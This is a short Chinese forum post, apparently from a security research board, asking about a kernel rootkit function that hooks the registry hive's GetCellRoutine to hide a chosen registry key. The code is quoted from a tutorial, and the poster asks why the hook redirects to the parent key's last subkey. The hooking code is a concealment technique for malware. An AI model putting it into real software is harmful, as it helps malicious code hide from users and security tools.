-
-
rootkit 注册表信息隐藏的问题
-
发表于:
2008-10-24 21:02
4002
-
学习combojiang大大rootkit 注册表信息隐藏http://bbs.pediy.com/showthread.php?t=63540
下面这个函数:
PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
{
// 调用原函数
PVOID pRet = g_pGetCellRoutine(Hive, Cell);
if (pRet)
{
// 返回的是需要隐藏的节点
if (pRet == g_HideNode)
{
DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
// 查询、保存并返回其父键的最后一个子键的节点
pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
DbgPrint("g_LastNode = %lx\n", g_LastNode);
// 隐藏的正是最后一个节点,返回空值
if (pRet == g_HideNode) pRet = NULL;
}
// 返回的是先前保存的最后一个节点
else if (pRet == g_LastNode)
{
DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
// 清空保存值,并返回空值
pRet = g_LastNode = NULL;
}
}
return pRet;
}
---------------------------------------
为什么一直要围绕父键最后一个节点做处理,不是只要判断如果返回的cell内存地址 等于上面计算出的隐藏的CELL地址,则让其返回NULL就可以了吗
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!